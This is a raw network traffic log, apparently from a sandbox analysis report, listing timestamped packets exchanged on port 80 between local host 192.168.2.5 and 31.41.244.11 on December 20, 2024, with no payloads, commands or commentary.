Dec 20, 2024 13:12:24.795172930 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.795234919 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.795537949 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.795592070 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.795872927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.795944929 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.799091101 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.799125910 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.799159050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.799160004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.799194098 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.799201965 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.799207926 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.799228907 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.799247980 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.799266100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.799309969 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.799309969 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.800251007 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.800286055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.800338984 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.800338984 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.801315069 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.801403999 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.801451921 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.801590919 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.802150011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.802311897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.802365065 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.802365065 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.803107023 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.803217888 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.803266048 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.803329945 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.804192066 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.804295063 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.804795980 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.804919958 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.805260897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.805376053 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.805418015 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.805541992 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.806245089 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.806339979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.807265043 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.807298899 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.807351112 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.807357073 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.807357073 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.807452917 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.808346987 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.808432102 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.946036100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.946207047 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.946310997 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.946548939 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.946639061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.946757078 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.946827888 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.947283030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.947351933 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.947431087 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.947489977 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.948524952 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.948586941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.949243069 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.949335098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.951283932 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.951337099 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.951355934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.951374054 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.951402903 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.951411009 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.951433897 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.951503992 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.951769114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.951828957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.951893091 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.951958895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.952776909 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.952888012 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.953115940 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.953200102 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.953895092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.953958035 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.954169035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.954848051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.954955101 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.955188990 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.955251932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.956101894 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.956152916 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.956173897 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.956214905 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.957009077 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.957070112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.957447052 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.957509041 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.958174944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.958209991 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.958261967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.958261967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.959062099 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.959120989 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.959218025 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.959305048 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.960105896 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.960683107 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.960752964 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.961126089 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.961220026 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.962004900 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.962138891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.962167978 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.962235928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.962311029 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.962472916 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.963340044 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.963407040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.963493109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.963613033 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.964364052 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.964570999 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.964678049 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.965418100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.965487003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.965573072 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.965634108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.966500044 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.966797113 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.966896057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.967412949 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.967484951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.967854977 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.967981100 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.968517065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.968585014 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.968833923 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.968892097 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.969572067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.969646931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.970180035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.970241070 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.970500946 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.970557928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.970798016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.970887899 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.971573114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.971632957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.972212076 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.972826004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.972873926 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.972888947 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.972954035 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.973746061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.973887920 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.973913908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.973972082 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.974739075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.974812031 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.974885941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.974970102 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.975785971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.975857019 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.976089954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.976653099 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.976891041 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.977058887 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.977134943 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.977971077 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.978049040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.978276968 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.979031086 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.979125023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.979171038 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.979305983 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.980066061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.980101109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.980129004 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.980170965 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.981117010 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.981195927 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.981252909 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.981324911 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.982218981 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.982253075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.982299089 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.982299089 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.983129025 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.983185053 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.983602047 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.983712912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.984148979 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.984971046 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.985050917 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.985054970 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.985090017 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.985137939 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.985137939 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.986083031 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.986139059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.988280058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.989001989 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.989079952 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.989176989 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.989243984 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.989342928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.989392042 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.989419937 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.989425898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.989456892 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.989481926 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.989681005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.989758015 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.990572929 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.990741968 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.990808010 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.991458893 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.991575003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.991790056 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.991895914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.992567062 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.992670059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.992733002 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.992803097 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.993761063 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.993796110 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.993849039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.993849039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.994816065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.994899035 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.995126009 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.995187044 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.995719910 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.995783091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.995882988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.995959997 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.996896029 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.997046947 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.997109890 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.997942924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.997977972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.998014927 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.998100042 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.998862982 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.998924971 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.999867916 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.999943018 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.000041962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.000075102 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.000147104 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.000837088 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.000900030 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.137964010 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.138191938 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.138334990 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.138469934 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.138555050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.139185905 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.139275074 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.139450073 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.139564991 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.139575958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.139637947 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.140510082 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.140839100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.140917063 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.141560078 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.141619921 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.141659975 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.141727924 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.142600060 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.142654896 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.142730951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.142853975 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.143742085 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.143778086 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.143802881 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.143856049 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.144696951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.145363092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.145457029 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.145737886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.145885944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.145960093 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.145960093 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.146778107 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.147011995 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.147094965 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.147907972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.147986889 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.148315907 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.148377895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.148905039 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.148958921 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.149050951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.149945021 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.150118113 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.150971889 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.151026964 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.151062012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.151077986 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.151160955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.152053118 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.152139902 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.152661085 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.152757883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.153243065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.153295994 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.153312922 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.153350115 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.154129982 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.154197931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.154875994 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.154989958 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.155267954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.155302048 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.155345917 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.155345917 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.156294107 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.156476974 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.156599998 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.157279015 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.157366991 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.157537937 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.157598972 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.158368111 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.158554077 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.158632040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.159548998 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.159583092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.159625053 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.159689903 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.160492897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.160551071 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.161528111 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.161564112 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.161614895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.161614895 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.161614895 CET	49859	80	192.168.2.5	31.41.244.11
